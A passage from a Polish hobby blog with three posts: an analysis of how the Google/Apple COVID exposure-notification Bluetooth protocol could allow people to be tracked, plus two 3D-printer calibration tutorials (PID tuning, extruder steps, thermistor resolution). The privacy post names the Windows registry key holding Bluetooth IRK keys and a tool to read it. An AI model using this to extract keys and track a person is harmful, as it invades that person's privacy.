różowo.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Problemów jest całe mnóstwo, począwszy od ataków które polegają na celowym propagowaniu identyfikatorów zarażonych osób by wywołać chaos w społeczeństwie, po dokładne śledzenie kto, kiedy i z kim się kontaktował. Więcej o możliwych atakach można przeczytać chociażby <a href="https://www.eff.org/deeplinks/2020/04/apple-and-googles-covid-19-exposure-notification-api-questions-and-answers">tu</a> i <a href="https://eprint.iacr.org/2020/399.pdf">tu</a>.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Mnie osobiście najbardziej zaintrygował problem deanonimizacji oraz śledzenia pojedynczych osób, a konkretniej pytanie, czy ktokolwiek poza Google i Apple, będzie również w stanie skutecznie śledzić wybrane osoby? Nawiasem mówiąc, sytuacja w której musimy polegać na "słowie" dwóch wielkich korporacji słynących z wykorzystywania i gromadzenia wszelakich informacji o użytkownikach, nie jest specjalnie lepsza od sytuacji gdy tym samym zaufaniem musielibyśmy obdarzyć nasz rzad.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Wracając do tematu, okazuje się, że praktyczna implementacja G+A nie jest idealna pod względem zachowania anonimowości i wcale nie trzeba łamać żadnych szyfrów by coś ugrać. Przede wszystkim jest kilka ograniczeń jeżeli chodzi o sam Bluetooth:</div><div style="text-align: left;"><br /></div><ul style="text-align: left;"><li>Nasłuchiwanie na komunikaty wymaga wybudzenia całego urządzenia, co drastycznie zwiększa pobór prądu, a tym samym szybko wyczerpuje baterie. Z tego powodu urządzenia wybudzają się tylko raz na kilka minut by odebrać komunikaty od innych urządzeń<br /><br /></li><li>Bluetooth od wersji 4.0 jest przystosowany do ciągłego rozgłaszania komunikatów i nie wymaga to wybudzania urządzenia. Tak więc by zwiększyć szansę na odebranie danych przez inny smartfon, identyfikatory RPI są rozgłaszane dosyć często (zwykle co 300-600ms)<br /><br /></li><li>Komunikaty muszą być nadawane z jakimś adresem MAC, który dla każdego urządzenia powinien być różny. Inaczej będziemy blokować pozostałe funkcje Bluetooth<br /><br /></li><li>By utrudnić śledzenie urządzeń, adresy MAC oraz identyfikatory RPI powinny być również okresowo zmieniane, najlepiej oba w tym samym momencie</li></ul><div><br /></div><div>Warto jeszcze wiedzieć, że w BT4.0 pojawiło się wsparcie dla sprzętowej zmiany adresów MAC. Czas zmiany w BT4.0 i BT4.1 ustawiony jest na sztywno i wynosi 15minut. Dopiero od wersji BT4.2 może być ustawiony praktycznie dowolnie (w przedziale od 1s do do 11.5h). Dodatkowo adresy MAC powinny być losowe, ale nie mogą być przypadkowe. Większość czytelników zapewne spyta, a co to za różnica?</div><div><br /></div><div>Chodzi o to, że jeżeli adres zmieni się w trakcie komunikacji, to urządzenia stracą ze sobą łączność. Użytkownicy np. słuchawek bezprzewodowych nie byliby specjalnie szczęśliwi musząc co chwile parować swoje słuchawki. Z tego powodu kolejne adresy MAC powinny wyglądać na losowe, ale równocześnie muszą być możliwe do odebrania przez urządzenia z którymi już nawiązaliśmy łączność.<br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Jak to jest zrobione w praktyce? Adresy MAC generowane są przy pomocy klucza IRK (ang.<i> Identity Resolving Key</i>), w taki sposób że przy jego pomocy szyfrowane są losowe 24bity danych (tzw. <i>prand</i>). Ostatecznie adres MAC uzyskiwany jest z połączenia zaszyfrowanych danych (<i>hash</i>) oraz ich wersji odszyfrowanej (<i>prand</i>), tak jak na rysunku poniżej :</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-pcgxy8L-VAx5hTVmkmVJkW52LXf2S-0L_TdR1pjpKiwL5UBQJmrKaCBIyyOza-xlPhCbGOxTOmgsXUvl7jL5lEZ1-qgh6-Fq9I3hy7HJckQ40cpDqeTCi2SGMx_G_EcWFNtu21608Bo/s455/bt_rpa.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="156" data-original-width="455" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-pcgxy8L-VAx5hTVmkmVJkW52LXf2S-0L_TdR1pjpKiwL5UBQJmrKaCBIyyOza-xlPhCbGOxTOmgsXUvl7jL5lEZ1-qgh6-Fq9I3hy7HJckQ40cpDqeTCi2SGMx_G_EcWFNtu21608Bo/s320/bt_rpa.png" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Samo szyfrowanie zrobione jest w oparciu o algorytm <i>AES-128</i>, który na tą chwile uznawany jest za bezpieczny. Teraz, by potwierdzić że nadawany adres MAC pochodzi od zaufanego urządzenia, wystarczy podzielić adres na dwie części (24 bitowy <i>hash</i> i <i>prand</i>), zaszyfrować <i>prand</i> i sprawdzić czy uzyskany <i>hash</i> jest taki sam jak w oryginalnym adresie MAC. Adresy tego typu nazwane są adresami RPA (ang. <i>Resolvable Random Private Address</i>) natomiast cały proces znany jest jako rozwiązywanie adresu (ang. <i>address resolution</i>).</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Tak więc jeżeli sparujemy ze sobą dwa urządzenia i chcemy używać adresów RPA, urządzenia muszą jeszcze po sparowaniu przejść tzw. <i>bonding</i>, czyli wymienić się swoimi kluczami szyfrującymi, w tym kluczem IRK.<br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Podsumujmy teraz zebrane fakty.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Urządzenia mogą zmieniać swoje adresy MAC na poziomie sprzętowym (zdaje się, że od BT4.1) i moment tej zmiany nie koniecznie pokrywa się z momentem zmiany komunikatu RPI, co widać poniżej:</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGyys0wKbkS0TvgTSdY0NCdHQDS7uLww_BYguBFo0LgxT1cNyjwG2S1yLJ3fjKmSveYOqFWGedXnK6y1Yh-dvQqrX90JTw9S6Us8Ri4zTDcdfvYlmirLEOF6V5mFjbmYm7ejc8rzsnuq4/s1117/bt_rpa_change.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="207" data-original-width="1117" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGyys0wKbkS0TvgTSdY0NCdHQDS7uLww_BYguBFo0LgxT1cNyjwG2S1yLJ3fjKmSveYOqFWGedXnK6y1Yh-dvQqrX90JTw9S6Us8Ri4zTDcdfvYlmirLEOF6V5mFjbmYm7ejc8rzsnuq4/w625-h116/bt_rpa_change.png" width="625" /></a></div><div><br /></div></div><div style="text-align: left;">Czas i okres tej zmiany (zazwyczaj co 15minut) jest dosyć charakterystyczny dla konkretnego urządzenia, podobnie zresztą jak interwał pomiędzy rozgłaszanymi komunikatami:<br /></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLXSuIuVn1R7SqvuqZmeM0TcCYE31d8BwfYmf-qYRT-rT2sAmxB-0eoI5X6QYs8sCYuHJqQcrHKct8pbikDGAv2R6e3V4lttmgma24uKSWqT6wck29he0515g-UM5F_BPaZbCapgCCgts/s1146/bt_interval.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="133" data-original-width="1146" height="73" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLXSuIuVn1R7SqvuqZmeM0TcCYE31d8BwfYmf-qYRT-rT2sAmxB-0eoI5X6QYs8sCYuHJqQcrHKct8pbikDGAv2R6e3V4lttmgma24uKSWqT6wck29he0515g-UM5F_BPaZbCapgCCgts/w625-h73/bt_interval.png" width="625" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Jest jeszcze klucz IRK. Możemy go poznać jeżeli parowaliśmy się z urządzeniem które chcemy śledzić. W przypadku Windows można to zrobić podglądając zawartość rejestru (klucz <i>HKLM\SYSTEM\CurrentControlSet\Services\BTHPORT\Parameters\Keys</i>) przy pomocy narzędzia <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">psexec</a>:</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC6KKK8_NO3V00IXVbuor6mTDwM_5ITQQpzNBLZERyvkC3mQKIE1BCljjHIToN_kpubovmdklDsdzz5a2TTq3IRVjKQNMJHZChQCfYzpxmPJiJXdkYs1I2qAIZCqYziBnFXbNBbi59aIw/s1141/irk_win.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="439" data-original-width="1141" height="241" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC6KKK8_NO3V00IXVbuor6mTDwM_5ITQQpzNBLZERyvkC3mQKIE1BCljjHIToN_kpubovmdklDsdzz5a2TTq3IRVjKQNMJHZChQCfYzpxmPJiJXdkYs1I2qAIZCqYziBnFXbNBbi59aIw/w625-h241/irk_win.png" width="625" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Co z tego wszystkiego wynika? Kilka ciekawych wniosków, co możemy z tym wszystkim zrobić:</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><ul style="text-align: left;"><li>Śledzić smartfon jeżeli będzie pozostawać w zasięgu naszych odbiorników. Czyli możliwe jest śledzenie ruchu osoby w obrębie zamkniętej lokalizacji<br /><br /></li><li>Śledzić smartfon w oparciu o klucz IRK o ile w jakiś sposób uzyskaliśmy ten klucz, co nie koniecznie będzie łatwe<br /><br /></li><li>Udowodnić komuś, że przebywał w wybranej lokalizacji. Może to zrobić np. policja po aresztowaniu i wyciągnięciu klucza IRK oraz uzyskaniu logów np. z galerii handlowej<br /><br /></li><li>Nawet jeżeli zostanie udostępniony cały kod źródłowy obsługujący protokół G+A do wglądu przez osoby trzecie i nikt nie wykryje w nim żadnych mechanizmów zaprojektowanych do śledzenia użytkowników, dla Google i Apple śledzenie użytkowników po adresach MAC będzie banalnie proste. Wcześniej nie koniecznie mieli tego typu możliwości, ponieważ ludzie co do zasady nie chodzili z smartfonami rozgłaszającymi swoją obecność<br /><br /></li><li>Równie dużym zagrożeniem dla prywatności są popularne ostatnio wszelkiego rodzaju smartbandy, które bez skrępowania rozgłaszają swoją obecność. Pytanie czy trudno byłoby śledzić osobę rozgłaszającą równocześnie komunikaty G+A?<br /></li></ul><div><br /></div><div>Czy zatem powinniśmy zainstalować na swoim smartphonie aplikację <a href="https://play.google.com/store/apps/details?id=pl.gov.mc.protegosafe&hl=pl">ProtegoSafe</a> i wziąć udział w tym eksperymencie? Oczywiście decyzję każdy powinien podjąć samodzielnie, a dzięki temu wpisowi można ją podjąć świadomie, wiedząc na co się człowiek pisze.</div><div><br /></div><div>Na zakończenie, jeżeli kogoś zainteresował temat, to polecam całą dyskusję na <a href="https://github.com/ProteGO-Safe/specs/issues/131">github</a>, natomiast osoby lubiące eksperymenty mogą się zainteresować narzędziem <a href="https://github.com/adrb/bentool">bentool</a>, które rozwijałem w trakcie przyglądania się protokołowi G+A (ewentualnie zerknąć na skrypty od <a href="https://github.com/jasisz/contact-tracing-experiments/">jasisz</a>).<br /></div></div><div style="text-align: left;"><br /></div>adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-39206990109136198232020-06-01T22:25:00.003+02:002021-08-14T14:36:33.855+02:00Tunning ekstrudera w drukarce 3D<br />
Zgodnie z obietnicą, tym razem opiszę jak zrobić charakterystykę bloku grzewczego (tzw. tuning <i>PID</i>) oraz jak dostosować liczbę kroków silnika ekstudera, tak byśmy otrzymywali poprawną dawkę filamentu.<br />
<br />
<br />
<a name='more'></a> <br />
<br />
Zaczniemy od wyznaczenia charakterystyki grzewczej, tj. znalezienia parametrów <i>PID</i>. Kiedy należy to robić? Wtedy gdy drukarka nie jest w stanie od razu wstrzelić się w zadaną temperaturę, skutkiem czego można zaobserwować wykres który wygląda podobnie jak ten poniżej:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia2sZTRuAHHtSJag5s2GCJ72SincClg6oYlH4QCkt7Ee3m01STduXkirGUAlP3ZmvI9L5shTGBchWdoSIVMR30PKwH2Uxv_AuoqcTQPN3MZ8khohZtgrgh5_nqz5c5IYG3E7S5tcyIqtE/s1600/pid_wrong.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="362" data-original-width="347" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia2sZTRuAHHtSJag5s2GCJ72SincClg6oYlH4QCkt7Ee3m01STduXkirGUAlP3ZmvI9L5shTGBchWdoSIVMR30PKwH2Uxv_AuoqcTQPN3MZ8khohZtgrgh5_nqz5c5IYG3E7S5tcyIqtE/s320/pid_wrong.png" width="306" /></a></div>
<br />
Na początek możemy otworzyć terminal i wydać polecenie <i>M503</i> by sprawdzić bieżące ustawienia:<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> Recv: echo:; PID settings:
Recv: echo: M301 P9.12 I0.41 D50.98
Recv: echo: M304 P124.55 I23.46 D165.29
</code></pre>
<br />
Linia <i>M301</i> to parametry głowicy, natomiast <i>M304</i> łóżka. W drugim kroku ładujemy filament i czekamy aż drukarka ostygnie. Dopiero wtedy wydajemy polecenie "<i><b>M303 S200 C10</b></i>", które włącza mechanizm automatycznego znajdowania parametrów PID. Polecenie spowoduje wykonanie 10 prób przy temperaturze 200<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="st">°</span></span></span>C.<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> Send: M303 S200 C10
Recv: PID Autotune start
...
Recv: PID Autotune finished! Put the last Kp, Ki and Kd constants from below into Configuration.h
Recv: #define DEFAULT_Kp 17.29
Recv: #define DEFAULT_Ki 0.58
Recv: #define DEFAULT_Kd 128.96
</code></pre>
<br />
Jeżeli proces <i>autotune</i> się nie powiedzie może to oznaczać, że z jakiegoś powodu blok grzewczy przy głowicy nie trzyma temperatury. Być może grzałka jest za słaba, może jest włączony wentylator dmuchający pod głowicę itp.<br />
<br />
By wprowadzić i zapisać znalezione parametry wydajemy polecenia:<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> M301 P17.29 I0.58 D128.96
M500
</code></pre>
<br />
Potem czekamy aż drukarka ostygnie i ustawiamy temperaturę by przetestować znalezione parametry. Jeżeli wszystko jest dobrze dostaniemy coś takiego:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhduL5Jc0iZEnmgnCsOe8oquFq2HREk16CCmKU1hb58H2911DoCV-Tu3KLoSbRoe7smvzkrlmBe8S1VON269BASaHYnMrRz8qJbnYelKcylNIBVVpU67xDxUKSMn6MJuGkWKs5dmvY37vw/s1600/pid_tunning.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="366" data-original-width="578" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhduL5Jc0iZEnmgnCsOe8oquFq2HREk16CCmKU1hb58H2911DoCV-Tu3KLoSbRoe7smvzkrlmBe8S1VON269BASaHYnMrRz8qJbnYelKcylNIBVVpU67xDxUKSMn6MJuGkWKs5dmvY37vw/s320/pid_tunning.png" width="320" /></a></div>
<br />
Skoro to już mamy to pora na drugi etap. Musimy tak ustawić liczbę kroków na silniku popychającym filament, że jeżeli zadamy wyciśnięcie np. 10cm filamentu, to tyle właśnie zostanie wyciśnięte. Procedura testowa wygląda tak:<br />
<ol>
<li class="level1"><div class="li">
Ustawiamy temperaturę dyszy na taką jakiej używamy podczas wydruku</div>
</li>
<li class="level1"><div class="li">
Przełączamy głowicę w tryb relatywny wysyłając gcod <a class="urlextern" href="http://marlinfw.org/docs/gcode/M083.html" rel="nofollow" title="http://marlinfw.org/docs/gcode/M083.html">M83</a></div>
</li>
<li class="level1"><div class="li">
Oznaczamy na filamencie odległość np. 120mm od miejsca gdzie wchodzi do extrudera</div>
</li>
<li class="level1"><div class="li">
Żądamy wyciśnięcia 100mm plastiku przy pomocy gcodu "<i><b>G1 E100 F100</b></i>". Wyciśnięcie zajmie około 60 sekund. Robimy to powoli by wyeliminować z pomiaru temperaturę oraz opór stawiany przez filament</div>
</li>
<li class="level1"><div class="li">
Wyłączamy grzanie głowicy i mierzymy
na filamencie odległość do oznaczenia które zrobiliśmy na samym
początku. Jeżeli zmierzona wartość wynosi 20mm, oznacza to że drukarka
jest poprawnie skalibrowana</div>
</li>
</ol>
W moim przypadku, zmierzona odległość wyniosła 22mm. Co oznacza, że wyciśnięte zostało 98mm zamiast żądanych 100mm (<i>120 - 22</i>). Wydajemy kod <i>M503</i> i sprawdzam bieżące ustawienia, interesuje nas ten fragment:<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> Recv: echo:; Steps per unit:
Recv: echo: M92 X80.04 Y80.04 Z400.48 E99.10
</code></pre>
<br />
Widać tutaj, że ekstruder ustawiony jest <i>E99.10</i>, szukamy więc nowej liczby kroków rozwiązując równanie:<br />
<br />
biezaca_liczba_kroków * ilość_zadana_do_wycisniecia = szukana_liczba_kroków * ilość_faktycznie_wyciśnięta <br />
<br />
Wychodzi nam zatem że :<br />
<br />
biezaca_liczba_kroków * ilość_zadana_do_wycisniecia = 99.10 * 100 = 9910<br />
<br />
A z tąd wynika:<br />
<br />
9910 = szukana_liczba_kroków * ilość_faktycznie_wyciśnięta<br />
9910 / ilość_faktycznie_wyciśnięta = szukana_liczba_kroków<br />
9910 / 98 = 101.122<br />
<br />
Jak już mamy nową liczbę kroków, aktualizujemy ustawienia drukarki i przeprowadzamy ponownie cały test od początku aż do wyciśnięcia poprawnej porcji filamentu.<br />
<br />
<pre style="background: rgb(240, 240, 240) none repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> M92 E101.122
M500
</code></pre>
<br />
Czyli co, można już drukować? Hola, hola nie tak prędko, a stół wypoziomowany? :) Poziomowanie stołu jest operacją którą wykonuje się dla każdej drukarki troszeczkę inaczej, tak więc w tym wypadku najlepiej sięgnąć do podręcznika użytkownika.<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-48363434745997299902020-05-29T22:22:00.002+02:002020-06-08T13:37:54.400+02:00Kalibracja czujnika temperatury w drukarce 3D<br />
Będzie to kontynuacja ostatniego wpisu na temat wymiany kontrolera w <i>Monoprice Maker Ultimate / Wanhao D6.</i><br />
<br />
Niestety<i> </i>temat kalibracji drukarek 3D jest bardzo często pomijany, a bez poprawnej kalibracji, można zapomnieć o ładnych wydrukach. Wielu nowych użytkowników drukarek, nie wie nawet jak taką operacje przeprowadzić, bo w podręcznikach użytkownika zazwyczaj nie ma nawet o tym słowa.<br />
<br />
<br />
<a name='more'></a><br />
<br />
Zaczniemy od temperatury na głowicy, po zmianie kontrolera okazało się że skacze o około 3 stopnie, a do tego wskazanie na zimnej drukarce jest inne jak termistora na łóżku. <br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg65XObxMdDk83R6sSAZ6EO3NEJNS4Df4-VkhRkUwgVaigojzZD9y-ldX-zPp19h9ZCSIkdk9f4v65AWI-dj8xwewscqgrieV9KSdIHeW1NqXxgl6pD0e0B5Z4e34jSo69EZh9vVdwcuyc/s1600/skr_temp_problem.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="610" data-original-width="629" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg65XObxMdDk83R6sSAZ6EO3NEJNS4Df4-VkhRkUwgVaigojzZD9y-ldX-zPp19h9ZCSIkdk9f4v65AWI-dj8xwewscqgrieV9KSdIHeW1NqXxgl6pD0e0B5Z4e34jSo69EZh9vVdwcuyc/s320/skr_temp_problem.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Octoprint</td></tr>
</tbody></table>
<br />
By zrozumieć z czym mam do czynienia, pierwszy krok to włączenie w Marlin opcji która pokaże nam jakie wartości są faktycznie odczytywane na czujce temperatury:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> // Enable for M105 to include ADC values read from temperature sensors.
#define SHOW_TEMP_ADC_VALUES
</code></pre>
<br />
<i>ADC</i> to skrót od <i>Analog to Digital Converter</i>, czyli układ który w zależności od wykrytego napięcia, pokazuje odpowiednią wartość binarna. Po wgraniu nowego firmwareu w zakładce <i>Terminal</i> widać coś takiego:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">Recv: T:28.12 /0.00 (93.00) B:25.91 /0.00 (3900.00) @:0 B@:0
Recv: T:31.25 /0.00 (94.00) B:26.02 /0.00 (3899.00) @:0 B@:0
Recv: T:28.12 /0.00 (93.00) B:25.91 /0.00 (3900.00) @:0 B@:0
Recv: T:28.12 /0.00 (93.00) B:25.91 /0.00 (3900.00) @:0 B@:0
Recv: T:31.25 /0.00 (94.00) B:25.91 /0.00 (3900.00) @:0 B@:0
</code></pre>
<br />
Można tutaj wyczytać, że wartość z <i>ADC</i> trzyma się w okolicach 93-94, a pomimo to temperatura pływa o kilka stopni. O co chodzi? W tym miejscu musiałem zasięgnąć rady eksperta (<i>pozdrawiam Kuchatka</i>).<br />
<br />
Okazuje się, że układ <span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><i>LPC1769</i> na którym zbudowana jest płytka, posiada przetwornik 12-bitowy i zasilany jest na napięcie 3.3V. Na <a href="https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/blob/master/BTT%20SKR%20V1.4/Hardware/BTT%20SKR%20V1.4-SCH.pdf" target="_blank">schemacie</a> płytki SKR, widać że nie posiada ona wzmacniacza. Mamy więc sytuacje gdy sprzęt jest w stanie wykrywać zmiany napięcia rzędu </span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;">0.8mV (</span></span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><i><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;">3.3V / 2^12</span></i>), natomiast czujnik <i>PT100</i> posiada rezystancje 100ohm w temperaturze 0</span></span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="st">°</span>C i około 138.5 w 100</span></span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="st">°</span>C. Wychodzi zatem ~0.385ohm na stopień Celsjusza. Podstawiając to do dzielnika napięcia, jaki tworzy termo rezystor wraz z rezystorem 4.7k, daje to zmianę napięcia w okolicach </span></span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"> <b>~0.2mV </b></span></span>na </span></span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="st">1°</span>C</span></span>.</span></span><br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXDU6EPGaf-kCG5uDvWdpZ_X3e1TcNlHGIAb8bfbyrrU9cM-V0Oh9-0N_weYJ1nWZCuKavXUszmV75PWl-F8g1q0qP5PyzszRI3DtkG9FMk9sY4g55PsnwSw_J9X9Z-XSI_cvVspK3jds/s1600/pt100_without_amp.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="325" data-original-width="468" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXDU6EPGaf-kCG5uDvWdpZ_X3e1TcNlHGIAb8bfbyrrU9cM-V0Oh9-0N_weYJ1nWZCuKavXUszmV75PWl-F8g1q0qP5PyzszRI3DtkG9FMk9sY4g55PsnwSw_J9X9Z-XSI_cvVspK3jds/s320/pt100_without_amp.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Electronics Assistant</td></tr>
</tbody></table>
<br />
<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;">Inaczej mówiąc, skoro jest to cztery razy poniżej rozdzielczości <i>ADC</i>, to w tym momencie mój czujnik działa z dokładnością do 4</span></span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="st">°</span>C! To dlatego przy niewielkiej zmianie odczytu, temperatura pływa aż o kilka stopni.</span></span></span></span><br />
<br />
<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;">Teraz opcje są dwie, albo dołożyć wzmacniacz który z tych 0.2mV zrobi mierzalną wartość (</span></span></span></span><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;">0.8mV</span></span>), albo zmienić czujnik. Dla mnie najprostszym i najtańszym rozwiązaniem była zmiana czujnika na termistor <i>NTC100K B3950</i>. Dołożenie wzmacniacza tylko spotęgowałoby bałagan w skrzynce :)</span></span></span></span><br />
<br />
<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;">Termistory kupiłem dwa, jeden w obudowie identycznej jak <i>PT100</i>, a drugi "szklany":</span></span></span></span><br />
<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"></span></span><br />
<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"></span></span><br />
<span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"><span class="tL8wMe EMoHub" dir="ltr" id=":e2.co" style="text-align: left;"></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
